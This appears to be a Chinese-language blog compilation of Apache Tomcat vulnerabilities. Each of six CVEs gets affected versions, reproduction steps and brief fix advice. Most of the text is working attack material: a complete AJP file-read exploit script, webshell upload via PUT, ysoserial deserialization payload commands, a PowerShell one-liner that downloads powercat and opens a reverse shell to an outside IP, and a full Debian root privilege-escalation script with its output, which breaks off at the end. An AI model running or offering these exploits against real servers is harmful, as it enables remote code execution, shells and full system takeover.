tomcat漏洞汇总

2023-12-02 0 592
目录
  • PUT 任意文件上传(CVE-2017-12615)
    • 影响版本
    • 漏洞复现
    • 修复建议
  • 远程代码执行(CVE-2019-0232)
    • 影响版本
    • 漏洞复现
    • 修复建议
  • Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
    • 影响版本
    • 漏洞复现
    • 修复建议
  • Tomcat Session(CVE-2020-9484)反序列化漏洞
    • 影响版本
    • 漏洞复现
    • 临时修复建议
  • Tomcat反序列化漏洞(CVE-2016-8735)
    • 影响版本
    • 漏洞复现
    • 修复建议
  • Tomcat本地提权漏洞(CVE-2016-1240)
    • 影响版本
    • 漏洞复现
    • 修复建议
  • 参考链接

    PUT 任意文件上传(CVE-2017-12615)

    影响版本

    tomcat 7.0.0~7.0.79

    漏洞复现

    1. 访问apache tomcat首页 http://192.168.17.140:8080

    tomcat漏洞汇总

    2. 访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至Repeater

    tomcat漏洞汇总

    3.将请求包GET方式改为PUT方式,上传ceshi.jsp,内容为“Hello Word”,点击发送,发现服务器返回“201”

    tomcat漏洞汇总

    4.访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞

    tomcat漏洞汇总

    5. 接下来上传木马backdoor.jsp,如图所示上传成功

    tomcat漏洞汇总

    6.使用冰蝎连接shell,密码为“rebeyond”

    tomcat漏洞汇总

    修复建议

    用户可以禁用PUT方法来防护此漏洞,操作方式如下:在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>

    确保readonly参数为true(默认值),即不允许DELETE和PUT操作。

    远程代码执行(CVE-2019-0232)

    影响版本

    tomcat 7.0.94之前

    tomcat 8.5.40之前

    tomcat 9.0.19之前 版本都会影响

    漏洞复现

    1.首先修改apache-tomcat-9.0.13\\conf\\ web.xml

    将此段注释删除,并添加红框内代码。

    <init-param>
    <param-name>enableCmdLineArguments</param-name>
    <param-value>true</param-value>
    </init-param>
    <init-param>
    <param-name>executadle</param-name>
    <param-value></param-value>
    </init-param>

    tomcat漏洞汇总

    2.将此处注释删除

    tomcat漏洞汇总

    3. 更改

    apache-tomcat-9.0.13\\conf\\ context.xml

    tomcat漏洞汇总

    4.在apache-tomcat-9.0.13\\webapps\\ROOT\\WEB-INF目录下,新建 cgi-bin 文件夹在文件夹内创建一个.bat文件

    tomcat漏洞汇总

    tomcat漏洞汇总

    tomcat漏洞汇总

    @echo off
    echo Content-Type: test/plain
    echo.
    set foo=&~1
    %foo%

    tomcat漏洞汇总

    5. 在后边追加命令,即可实现命令执行操作

    tomcat漏洞汇总

    修复建议

    1. 禁用enableCmdLineArguments参数。

    2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。

    3. 升级tomcat到9.0.17以上版本。

    Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

    影响版本

    Apache Tomcat 6

    Apache Tomcat 7 < 7.0.100

    Apache Tomcat 8 < 8.5.51

    Apache Tomcat 9 < 9.0.31

    开启了8009端口的ajp服务

    漏洞复现

    1. 网址中下载Tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat

    tomcat漏洞汇总

    2.访问http://localhost:8080

    tomcat漏洞汇总

    3.修改配置文件,首先修改apache-tomcat-9.0.13\\conf\\ web.xml

    将此段注释删除,并添加红框内代码

    <init-param>
    <param-name>enableCmdLineArguments</param-name>
    <param-value>true</param-value>
    </init-param>
    <init-param>
    <param-name>executadle</param-name>
    <param-value></param-value>
    </init-param>

    tomcat漏洞汇总

    4.将此处注释删除

    tomcat漏洞汇总

    5. 修改 apache-tomcat-9.0.13\\conf\\ context.xml

    添加privileged="true"语句 如下图

    tomcat漏洞汇总

    环境搭建完成!

    6. 在cmd下执行python脚本

    tomcat漏洞汇总

    脚本代码如下:

    #!/usr/bin/env python
    #CNVD-2020-10487 Tomcat-Ajp lfi
    #by ydhcui
    import struct
    # Some references:
    # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
    def pack_string(s):
    if s is None:
    return struct.pack(\”>h\”, -1)
    l = len(s)
    return struct.pack(\”>H%dsb\” % l, l, s.encode(\’utf8\’), 0)
    def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
    def unpack_string(stream):
    size, = unpack(stream, \”>h\”)
    if size == -1: # null string
    return None
    res, = unpack(stream, \”%ds\” % size)
    stream.read(1) # \\0
    return res
    class NotFoundException(Exception):
    pass
    class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
    self.data_stream = data_stream
    self.data_len = data_len
    self.data_direction = data_direction
    def serialize(self):
    data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
    if len(data) == 0:
    return struct.pack(\”>bbH\”, 0x12, 0x34, 0x00)
    else:
    res = struct.pack(\”>H\”, len(data))
    res += data
    if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
    header = struct.pack(\”>bbH\”, 0x12, 0x34, len(res))
    else:
    header = struct.pack(\”>bbH\”, 0x41, 0x42, len(res))
    return header + res
    def send_and_receive(self, socket, stream):
    while True:
    data = self.serialize()
    socket.send(data)
    r = AjpResponse.receive(stream)
    while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
    r = AjpResponse.receive(stream)
    if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
    break
    class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
    REQUEST_METHODS = {\’GET\’: GET, \’POST\’: POST, \’HEAD\’: HEAD, \’OPTIONS\’: OPTIONS, \’PUT\’: PUT, \’DELETE\’: DELETE, \’TRACE\’: TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = [\”SC_REQ_ACCEPT\”,
    \”SC_REQ_ACCEPT_CHARSET\”, \”SC_REQ_ACCEPT_ENCODING\”, \”SC_REQ_ACCEPT_LANGUAGE\”, \”SC_REQ_AUTHORIZATION\”,
    \”SC_REQ_CONNECTION\”, \”SC_REQ_CONTENT_TYPE\”, \”SC_REQ_CONTENT_LENGTH\”, \”SC_REQ_COOKIE\”, \”SC_REQ_COOKIE2\”,
    \”SC_REQ_HOST\”, \”SC_REQ_PRAGMA\”, \”SC_REQ_REFERER\”, \”SC_REQ_USER_AGENT\”
    ]
    ATTRIBUTES = [\”context\”, \”servlet_path\”, \”remote_user\”, \”auth_type\”, \”query_string\”, \”route\”, \”ssl_cert\”, \”ssl_cipher\”, \”ssl_session\”, \”req_attribute\”, \”ssl_key_size\”, \”secret\”, \”stored_method\”]
    def __init__(self, data_direction=None):
    self.prefix_code = 0x02
    self.method = None
    self.protocol = None
    self.req_uri = None
    self.remote_addr = None
    self.remote_host = None
    self.server_name = None
    self.server_port = None
    self.is_ssl = None
    self.num_headers = None
    self.request_headers = None
    self.attributes = None
    self.data_direction = data_direction
    def pack_headers(self):
    self.num_headers = len(self.request_headers)
    res = \”\”
    res = struct.pack(\”>h\”, self.num_headers)
    for h_name in self.request_headers:
    if h_name.startswith(\”SC_REQ\”):
    code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
    res += struct.pack(\”BB\”, 0xA0, code)
    else:
    res += pack_string(h_name)
    res += pack_string(self.request_headers[h_name])
    return res
    def pack_attributes(self):
    res = b\”\”
    for attr in self.attributes:
    a_name = attr[\’name\’]
    code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
    res += struct.pack(\”b\”, code)
    if a_name == \”req_attribute\”:
    aa_name, a_value = attr[\’value\’]
    res += pack_string(aa_name)
    res += pack_string(a_value)
    else:
    res += pack_string(attr[\’value\’])
    res += struct.pack(\”B\”, 0xFF)
    return res
    def serialize(self):
    res = \”\”
    res = struct.pack(\”bb\”, self.prefix_code, self.method)
    res += pack_string(self.protocol)
    res += pack_string(self.req_uri)
    res += pack_string(self.remote_addr)
    res += pack_string(self.remote_host)
    res += pack_string(self.server_name)
    res += struct.pack(\”>h\”, self.server_port)
    res += struct.pack(\”?\”, self.is_ssl)
    res += self.pack_headers()
    res += self.pack_attributes()
    if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
    header = struct.pack(\”>bbh\”, 0x12, 0x34, len(res))
    else:
    header = struct.pack(\”>bbh\”, 0x41, 0x42, len(res))
    return header + res
    def parse(self, raw_packet):
    stream = StringIO(raw_packet)
    self.magic1, self.magic2, data_len = unpack(stream, \”bbH\”)
    self.prefix_code, self.method = unpack(stream, \”bb\”)
    self.protocol = unpack_string(stream)
    self.req_uri = unpack_string(stream)
    self.remote_addr = unpack_string(stream)
    self.remote_host = unpack_string(stream)
    self.server_name = unpack_string(stream)
    self.server_port = unpack(stream, \”>h\”)
    self.is_ssl = unpack(stream, \”?\”)
    self.num_headers, = unpack(stream, \”>H\”)
    self.request_headers = {}
    for i in range(self.num_headers):
    code, = unpack(stream, \”>H\”)
    if code > 0xA000:
    h_name = AjpForwardRequest.COMMON_HEADERS[code – 0xA001]
    else:
    h_name = unpack(stream, \”%ds\” % code)
    stream.read(1) # \\0
    h_value = unpack_string(stream)
    self.request_headers[h_name] = h_value
    def send_and_receive(self, socket, stream, save_cookies=False):
    res = []
    i = socket.sendall(self.serialize())
    if self.method == AjpForwardRequest.POST:
    return res
    r = AjpResponse.receive(stream)
    assert r.prefix_code == AjpResponse.SEND_HEADERS
    res.append(r)
    if save_cookies and \’Set-Cookie\’ in r.response_headers:
    self.headers[\’SC_REQ_COOKIE\’] = r.response_headers[\’Set-Cookie\’]
    # read body chunks and end response packets
    while True:
    r = AjpResponse.receive(stream)
    res.append(r)
    if r.prefix_code == AjpResponse.END_RESPONSE:
    break
    elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    continue
    else:
    raise NotImplementedError
    break
    return res
    class AjpResponse(object):
    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
    \”Content-Type\”, \”Content-Language\”, \”Content-Length\”, \”Date\”, \”Last-Modified\”,
    \”Location\”, \”Set-Cookie\”, \”Set-Cookie2\”, \”Servlet-Engine\”, \”Status\”, \”WWW-Authenticate\”
    ]
    def parse(self, stream):
    # read headers
    self.magic, self.data_length, self.prefix_code = unpack(stream, \”>HHb\”)
    if self.prefix_code == AjpResponse.SEND_HEADERS:
    self.parse_send_headers(stream)
    elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    self.parse_send_body_chunk(stream)
    elif self.prefix_code == AjpResponse.END_RESPONSE:
    self.parse_end_response(stream)
    elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
    self.parse_get_body_chunk(stream)
    else:
    raise NotImplementedError
    def parse_send_headers(self, stream):
    self.http_status_code, = unpack(stream, \”>H\”)
    self.http_status_msg = unpack_string(stream)
    self.num_headers, = unpack(stream, \”>H\”)
    self.response_headers = {}
    for i in range(self.num_headers):
    code, = unpack(stream, \”>H\”)
    if code <= 0xA000: # custom header
    h_name, = unpack(stream, \”%ds\” % code)
    stream.read(1) # \\0
    h_value = unpack_string(stream)
    else:
    h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
    h_value = unpack_string(stream)
    self.response_headers[h_name] = h_value
    def parse_send_body_chunk(self, stream):
    self.data_length, = unpack(stream, \”>H\”)
    self.data = stream.read(self.data_length+1)
    def parse_end_response(self, stream):
    self.reuse, = unpack(stream, \”b\”)
    def parse_get_body_chunk(self, stream):
    rlen, = unpack(stream, \”>H\”)
    return rlen
    @staticmethod
    def receive(stream):
    r = AjpResponse()
    r.parse(stream)
    return r
    import socket
    def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = \”HTTP/1.1\”
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
    \’SC_REQ_ACCEPT\’: \’text/html\’,
    \’SC_REQ_CONNECTION\’: \’keep-alive\’,
    \’SC_REQ_CONTENT_LENGTH\’: \’0\’,
    \’SC_REQ_HOST\’: target_host,
    \’SC_REQ_USER_AGENT\’: \’Mozilla\’,
    \’Accept-Encoding\’: \’gzip, deflate, sdch\’,
    \’Accept-Language\’: \’en-US,en;q=0.5\’,
    \’Upgrade-Insecure-Requests\’: \’1\’,
    \’Cache-Control\’: \’max-age=0\’
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr
    class Tomcat(object):
    def __init__(self, target_host, target_port):
    self.target_host = target_host
    self.target_port = target_port
    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.socket.connect((target_host, target_port))
    self.stream = self.socket.makefile(\”rb\”, bufsize=0)
    def perform_request(self, req_uri, headers={}, method=\’GET\’, user=None, password=None, attributes=[]):
    self.req_uri = req_uri
    self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
    print(\”Getting resource at ajp13://%s:%d%s\” % (self.target_host, self.target_port, req_uri))
    if user is not None and password is not None:
    self.forward_request.request_headers[\’SC_REQ_AUTHORIZATION\’] = \”Basic \” + (\”%s:%s\” % (user, password)).encode(\’base64\’).replace(\’\\n\’, \’\’)
    for h in headers:
    self.forward_request.request_headers[h] = headers[h]
    for a in attributes:
    self.forward_request.attributes.append(a)
    responses = self.forward_request.send_and_receive(self.socket, self.stream)
    if len(responses) == 0:
    return None, None
    snd_hdrs_res = responses[0]
    data_res = responses[1:-1]
    if len(data_res) == 0:
    print(\”No data in response. Headers:%s\\n\” % snd_hdrs_res.response_headers)
    return snd_hdrs_res, data_res
    \’\’\’
    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path
    \’\’\’
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument(\”target\”, type=str, help=\”Hostname or IP to attack\”)
    parser.add_argument(\’-p\’, \’–port\’, type=int, default=8009, help=\”AJP port to attack (default is 8009)\”)
    parser.add_argument(\”-f\”, \’–file\’, type=str, default=\’WEB-INF/web.xml\’, help=\”file path :(WEB-INF/web.xml)\”)
    args = parser.parse_args()
    t = Tomcat(args.target, args.port)
    _,data = t.perform_request(\’/asdf\’,attributes=[
    {\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.request_uri\’,\’/\’]},
    {\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.path_info\’,args.file]},
    {\’name\’:\’req_attribute\’,\’value\’:[\’javax.servlet.include.servlet_path\’,\’/\’]},
    ])
    print(\’—————————-\’)
    print(\”\”.join([d.data for d in data]))

    7.可以成功访问文件,漏洞复现成功!

    修复建议

    1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>

    2、升级官方最新版本。

    Tomcat Session(CVE-2020-9484)反序列化漏洞

    影响版本

    Apache Tomcat 10.0.0-M1—10.0.0-M4

    Apache Tomcat 9.0.0.M1—9.0.34

    Apache Tomcat 8.5.0—8.5.54

    Apache Tomcat 7.0.0—7.0.103

    • 攻击者能够控制服务器上文件的内容和文件名称
    • 服务器PersistenceManager配置中使用了FileStore
    • PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
    • 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

    漏洞复现

    下载ysoserial 一个生成java反序列化 payload 的 .jar 包

    下载地址: https://github.com/frohoff/ysoserial.git

    用浏览器下载,解压,并生成一个jar包,复制进linux系统

    生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package

    编译有点慢需要几分钟世间

    编译完成后在target目录下,有jar包

    tomcat漏洞汇总

    执行下面语句生成 payload

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 \”touch /tmp/2333\” > /tmp/test.session

    tomcat漏洞汇总

    使用以下命令访问tomcat服务

    curl \’http://127.0.0.1:8080/index.jsp\’ -H \’Cookie: JSESSIONID=../../../../../tmp/test\’

    tomcat漏洞汇总

    虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录

    tomcat漏洞汇总

    修复建议 升级到 Apache Tomcat 10.0.0-M5 及以上版本升级到 Apache Tomcat 9.0.35 及以上版本升级到 Apache Tomcat 8.5.55 及以上版本升级到 Apache Tomcat 7.0.104 及以上版本

    临时修复建议

    禁止使用Session持久化功能FileStore

    Tomcat反序列化漏洞(CVE-2016-8735)

    影响版本

    Apache Tomcat 9.0.0.M1 to 9.0.0.M11Apache Tomcat 8.5.0 to 8.5.6Apache Tomcat 8.0.0.RC1 to 8.0.38Apache Tomcat 7.0.0 to 7.0.72Apache Tomcat 6.0.0 to 6.0.47

    外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行

    漏洞复现

    环境:Tomcat7.0.39

    在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口

    tomcat漏洞汇总

    配置好 jmx 的端口后,我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

    接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

    tomcat漏洞汇总

    然后启动 Tomcat ,看看本地的 10001 和 10002 端口是否开放

    tomcat漏洞汇总

    漏洞利用代码

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 \”calc.exe\”

    tomcat漏洞汇总

    但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 \”powershell IEX (New-Object System.Net.Webclient).DownloadString(\’https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\’);powercat -c 192.168.10.11 -p 8888 -e cmd\”

    tomcat漏洞汇总

    修复建议

    1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。

    2、根据官方去升级更新相对应的版本。

    Tomcat本地提权漏洞(CVE-2016-1240)

    影响版本

    Tomcat 8 <= 8.0.36-2Tomcat 7 <= 7.0.70-2Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

    • 通过deb包安装的tomcat
    • 需要重启tomcat
    • 受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响

    漏洞复现

    Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!

    tomcat漏洞汇总

    本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦Tomcat init脚本(ROOT权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取ROOT权限。

    漏洞poc

    #!/bin/bash
    #
    # Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
    #
    # CVE-2016-1240
    #
    # Discovered and coded by:
    #
    # Dawid Golunski
    # http://legalhackers.com
    #
    # This exploit targets Tomcat (versions 6, 7 and 8) packaging on
    # Debian-based distros including Debian, Ubuntu etc.
    # It allows attackers with a tomcat shell (e.g. obtained remotely through a
    # vulnerable java webapp, or locally via weak permissions on webapps in the
    # Tomcat webroot directories etc.) to escalate their privileges to root.
    #
    # Usage:
    # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
    #
    # The exploit can used in two ways:
    #
    # -active (assumed by default) – which waits for a Tomcat restart in a loop and instantly
    # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
    # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
    # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
    #
    # -deferred (requires the -deferred switch on argv[2]) – this mode symlinks the logfile to
    # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
    # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
    # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
    # then add arbitrary commands to the file which will be executed with root privileges by
    # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
    # Ubuntu/Debian Tomcat installations).
    #
    # See full advisory for details at:
    # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
    #
    # Disclaimer:
    # For testing purposes only. Do no harm.
    #
    BACKDOORSH=\”/bin/bash\”
    BACKDOORPATH=\”/tmp/tomcatrootsh\”
    PRIVESCLIB=\”/tmp/privesclib.so\”
    PRIVESCSRC=\”/tmp/privesclib.c\”
    SUIDBIN=\”/usr/bin/sudo\”
    function cleanexit {
    # Cleanup
    echo -e \”\\n[+] Cleaning up…\”
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
    echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e \”\\n[+] Job done. Exiting with code $1 \\n\”
    exit $1
    }
    function ctrl_c() {
    echo -e \”\\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.\”
    cleanexit 0
    }
    #intro
    echo -e \”\\033[94m \\nTomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit\\nCVE-2016-1240\\n\”
    echo -e \”Discovered and coded by: \\n\\nDawid Golunski \\nhttp://legalhackers.com \\033[0m\”
    # Args
    if [ $# -lt 1 ]; then
    echo -e \”\\n[!] Exploit usage: \\n\\n$0 path_to_catalina.out [-deferred]\\n\”
    exit 3
    fi
    if [ \”$2\” = \”-deferred\” ]; then
    mode=\”deferred\”
    else
    mode=\”active\”
    fi
    # Priv check
    echo -e \”\\n[+] Starting the exploit in [\\033[94m$mode\\033[0m] mode with the following privileges: \\n`id`\”
    id | grep -q tomcat
    if [ $? -ne 0 ]; then
    echo -e \”\\n[!] You need to execute the exploit as tomcat user! Exiting.\\n\”
    exit 3
    fi
    # Set target paths
    TOMCATLOG=\”$1\”
    if [ ! -f $TOMCATLOG ]; then
    echo -e \”\\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn\’t exist. Try again.\\n\”
    exit 3
    fi
    echo -e \”\\n[+] Target Tomcat log file set to $TOMCATLOG\”
    # [ Deferred exploitation ]
    # Symlink the log file to /etc/default/locale file which gets executed daily on default
    # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
    # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
    # restarted and file owner gets changed.
    if [ \”$mode\” = \”deferred\” ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
    echo -e \”\\n[!] Couldn\’t remove the $TOMCATLOG file or create a symlink.\”
    cleanexit 3
    fi
    echo -e \”\\n[+] Symlink created at: \\n`ls -l $TOMCATLOG`\”
    echo -e \”\\n[+] The current owner of the file is: \\n`ls -l /etc/default/locale`\”
    echo -ne \”\\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot\”
    echo -ne \”\\n you\’ll be able to add arbitrary commands to the file which will get executed with root privileges\”
    echo -ne \”\\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can\’t wait 😉
    \\n\\n\”
    exit 0
    fi
    # [ Active exploitation ]
    trap ctrl_c INT
    # Compile privesc preload library
    echo -e \”\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\”
    cat <<_solibeof_>$PRIVESCSRC
    #define _GNU_SOURCE
    #include
    #include
    #include
    #include
    uid_t geteuid(void) {
    static uid_t (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, \”geteuid\”);
    if ( old_geteuid() == 0 ) {
    chown(\”$BACKDOORPATH\”, 0, 0);
    chmod(\”$BACKDOORPATH\”, 04777);
    unlink(\”/etc/ld.so.preload\”);
    }
    return old_geteuid();
    }
    _solibeof_
    gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
    if [ $? -ne 0 ]; then
    echo -e \”\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\”
    cleanexit 2;
    fi
    # Prepare backdoor shell
    cp $BACKDOORSH $BACKDOORPATH
    echo -e \”\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\”
    # Safety check
    if [ -f /etc/ld.so.preload ]; then
    echo -e \”\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\”
    cleanexit 2
    fi
    # Symlink the log file to ld.so.preload
    rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
    if [ $? -ne 0 ]; then
    echo -e \”\\n[!] Couldn\’t remove the $TOMCATLOG file or create a symlink.\”
    cleanexit 3
    fi
    echo -e \”\\n[+] Symlink created at: \\n`ls -l $TOMCATLOG`\”
    # Wait for Tomcat to re-open the logs
    echo -ne \”\\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart…\”
    echo -e \”\\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
    \”
    while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
    echo $PRIVESCLIB > /etc/ld.so.preload
    break;
    fi
    done
    # /etc/ld.so.preload file should be owned by tomcat user at this point
    # Inject the privesc.so shared library to escalate privileges
    echo $PRIVESCLIB > /etc/ld.so.preload
    echo -e \”\\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \\n`ls -l /etc/ld.so.preload`\”
    echo -e \”\\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload\”
    echo -e \”\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload`\”
    # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    echo -e \”\\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!\”
    sudo –help 2>/dev/null >/dev/null
    # Check for the rootshell
    ls -l $BACKDOORPATH | grep rws | grep -q root
    if [ $? -eq 0 ]; then
    echo -e \”\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\”
    echo -e \”\\n\\033[94mPlease tell me you\’re seeing this too 😉
    \\033[0m\”
    else
    echo -e \”\\n[!] Failed to get root\”
    cleanexit 2
    fi
    # Execute the rootshell
    echo -e \”\\n[+] Executing the rootshell $BACKDOORPATH now! \\n\”
    $BACKDOORPATH -p -c \”rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\”
    $BACKDOORPATH -p
    # Job done.
    cleanexit 0

    poc运行

    tomcat7@ubuntu:/tmp$ id
    uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
    tomcat7@ubuntu:/tmp$ lsb_release -a
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description: Ubuntu 16.04 LTS
    Release: 16.04
    Codename: xenial
    tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
    ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine — core libraries
    ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
    ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine — common files
    tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
    Tomcat 6/7/8 on Debian-based distros – Local Root Privilege Escalation Exploit
    CVE-2016-1240
    Discovered and coded by:
    Dawid Golunski
    http://legalhackers.com
    [+] Starting the exploit in [active] mode with the following privileges:
    uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
    [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
    [+] Compiling the privesc shared library (/tmp/privesclib.c)
    [+] Backdoor/low-priv shell installed at:
    -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
    [+] Symlink created at:
    lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
    [+] Waiting for Tomcat to re-open the logs/Tomcat service restart…
    You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉
    [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
    -rw-r–r– 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
    [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
    [+] The /etc/ld.so.preload file now contains:
    /tmp/privesclib.so
    [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
    [+] Rootshell got assigned root SUID perms at:
